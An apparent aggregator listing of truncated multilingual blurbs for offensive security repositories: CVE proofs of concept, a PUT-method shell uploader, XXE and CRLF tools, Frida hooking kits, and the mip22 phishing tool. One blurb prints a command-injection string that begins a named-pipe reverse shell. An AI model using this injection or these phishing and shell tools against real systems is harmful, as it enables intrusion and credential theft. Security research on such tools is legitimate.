CVE-2023-32571-POC

Inyección de Dynamic Linq a RCE - CVE-2023-32571 Acerca de la inyección de Dynamic Linq a RCE CVE-2023-32571 Recientemente, miembros del NCC Group descubrieron una vulnerabilidad en Dynamic Linq que permite a los atacantes llamar funciones de C a través de una inyección de Linq, lo que hace posib...

CVE-2025-2304-POC

CVE-2025-2304 PoC - Escalada de Privilegios en Camaleon CMS Una prueba de concepto PoC para CVE-2025-2304 , una vulnerabilidad crítica de asignación masiva en Camaleon CMS que permite la escalada de privilegios de usuarios con pocos permisos a administradores. ██████╗ ██████╗ ██╗ ██╗███╗ ██╗...

CVE-2017-12615

En memoria de Chia Junyuan https://packetstormsecurity.com/files/author/11924/ POC CVE-2017-12615 POC de Exploit para Apache Tomcat 7.0.0 a 7.0.79 en Windows; vulnerabilidad PUT JSP CVE-2017-12615. Descripción: Por diseño, no está permitido subir archivos JSP mediante el método PUT en los...

CVE-2022-36231

CVE-2022-36231 The ruby gem pdfinfo /dev/null As with the initialize method there is no validation performed on the @pdfpath variable. This allows us to make use of command chaining with ; to execute an arbitrary command. info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat...

rsdl

rsdl Subdomain Scanner v.2 Subdomain Scan With Ping Method & Check HTTP/S Statuses. Flags| Value| Description ---|---|--- --hostname| example.com| Domain for scan. --output| | Records the output with the domain name. --list| /tmp/lists/example.txt| Lister for subdomains. New Features Checking...

rsdl

rsdl 子域名扫描器 v.2 使用 Ping 方法扫描子域名并检查 HTTP/HTTPS 状态。 标志| 值| 描述 ---|---|--- --hostname| example.com| 扫描的域名。 --output| | 以域名记录输出。 --list| /tmp/lists/example.txt| 子域名字典文件。 新特性 检查 HTTP/HTTPS 状态 更新了 HTTP/HTTPS 请求的超时时间 扫描速度更快 扫描 IP 地址 新的终端界面 安装 go get github.com/tismayil/rsdl 克隆仓库并构建（ go build rsdl.go ）...

put2win

put2win 自动化利用PUT HTTP方法获取Shell的脚本。 安装 git clone https://github.com/sysdevploit/put2win cd put2win chmod +x put2win.sh 使用 自动化利用PUT HTTP方法获取Shell的脚本。 选项： -t TARGET 目标URL/IP 例如 192.168.1.10 -p PORT 目标端口 例如 8080 -u URL PATH 保存Shell的路径 例如 /uploads -l LOCAL IP 接收Shell连接的IP 例如 192.168.1.5 -s SHELL NAME...

appinfo-standalone

Método 59 de UACME portado a .C independiente Demostración en video de Youtube: https://www.youtube.com/watch?v=UZdfh5RtR0&lc=UgxWnzgQ0x2KZBZIq6V4AaABAg...

frida-ios-hook

Frida iOS hook 📍 Una herramienta que te ayuda a usar Frida fácilmente. Soporta scripts para rastrear clases, funciones y modificar los valores de retorno de métodos en la plataforma iOS. 👉 Para la plataforma Android: frida-android-hook 👉 Para interceptar API cifradas en aplicaciones iOS:...

CVE-2023-32571-POC

Dynamic Linq 注入导致 RCE - CVE-2023-32571 关于 Dynamic Linq 注入导致 RCE（CVE-2023-32571） 最近，NCC Group 的研究人员发现 Dynamic Linq 中存在一个漏洞，攻击者可以通过 Linq 注入调用 C 函数，从而可能实现远程代码执行（RCE）。 尽管 NCC Group 发布了关于 Dynamic Linq 的 RCE 报告，但出于某种原因，他们并未提供用于执行命令的 PoC（概念验证代码）。 PoC 如 NCC Group 的研究所述，我们可以通过 "Invoke" 调用 C 方法。借助此方法，我们可以调...

HookCase

HookCase HookCase 是一款用于调试和逆向工程 macOS（即 OS X）应用程序以及操作系统本身的工具。它重新实现并扩展了 Apple 的 DYLDINSERTLIBRARIES 功能。它可以钩取任何模块中的任何方法（即使是未导出的方法，甚至是在其自身模块的符号表中没有条目方法）。在一次操作中，它可以应用于父进程及其所有子进程，无论子进程是否继承其父进程的环境。它支持监视点（watchpoints）。因此，HookCase 比 DYLDINSERTLIBRARIES 强大得多。它也没有 Apple 对 DYLDINSERTLIBRARIES 施加的限制。例如，HookCa...

CVE-2025-2304

CVE-2025-2304 - Camaleon CMS 2.9.0 - Privilege Escalation Exploit Overview This Python script exploits a critical mass assignment vulnerability in Camaleon CMS version 2.9.0, allowing any registered user to escalate their privileges to administrator. Vulnerability Details CVE : CVE-2025-2304 - Ma...

OptionsBleed-POC-Scanner

OptionsBleed-POC-Scanner OptionsBleed CVE-2017-9798 PoC / Escáner Más información próximamente... Descargo de responsabilidad Este software ha sido creado únicamente con fines de investigación académica y para el desarrollo de técnicas defensivas efectivas, y no está destinado a ser utilizado par...

crlfuzz

CRLFuzz A fast tool to scan CRLF vulnerability written in Go Resources Installation from Binary from Source from GitHub Usage Basic Usage Flags Target Single URL URLs from list from Stdin Method Data Adding Headers Using Proxy Concurrency Silent Verbose Version Library Help & Bugs License Version...

RMS-Runtime-Mobile-Security

Runtime Mobile Security RMS 📱🔥 作者 @mobilesecurity Runtime Mobile Security RMS ，基于 FRIDA 驱动，是一个强大的网页界面，帮助您在运行时操控 Android 和 iOS 应用 。 通过 RMS，您可以轻松转储所有已加载的类及相应方法，随时动态挂钩，追踪方法参数和返回值，加载自定义脚本，以及执行许多其他有用的操作。 iOS 演示 - 视频 Android 演示 - 视频 教程 - Android 使用 Runtime Mobile Security RMS 解决 OWASP UnCrackable Andro...

XXEinjector

XXEinjector XXEinjector automatiza la recuperación de archivos utilizando métodos directos y fuera de banda. El listado de directorios solo funciona en aplicaciones Java. Para otras aplicaciones, se debe utilizar el método de fuerza bruta. Opciones: --host Mandatory - our IP address for reverse...

objection

📱objection - Runtime Mobile Exploration objection is a runtime mobile exploration toolkit, powered by Frida, built to help you assess the security posture of your mobile applications, without needing a jailbreak. Supports both iOS and Android. Inspect and interact with container file systems...

Hooketh

Hooketh Un conjunto de scripts que facilitan el trabajo con Frida, diseñados para ayudar a encontrar la función correcta a la que engancharse y luego modificarla. Uso Para ambos scripts, asumo que tienes un dispositivo conectado por USB o que tienes un emulador ejecutándose en la misma máquina...

mip22

mip22 mip22 v3.3 mip22 is a advanced phishing tool 83 default websites, clone any site with manual method, add any site with customize method, mask link with subdomains, url shortener, audio notice for view the credentials live, music in background etc... The program is made for educational...

CVE-2024-55968

CVE-2024-55968 针对CVE-2024-55968的本地权限提升漏洞利用POC 漏洞描述 macOS DTEX Event Forwarder代理中的com.dtexsystems.helper服务负责处理特权操作，但在XPC进程间通信（IPC）过程中未能实现关键的客户端验证。具体而言，该服务未验证任何尝试建立连接的客户端的代码要求、权限、安全标志或版本。这种缺乏正确逻辑验证的问题使恶意攻击者能够通过未授权的客户端连接利用服务的方法，并将权限提升至root。 受影响版本 DEC-M（DTEX Forwarder）6.1.1 受影响组件 DEC-M...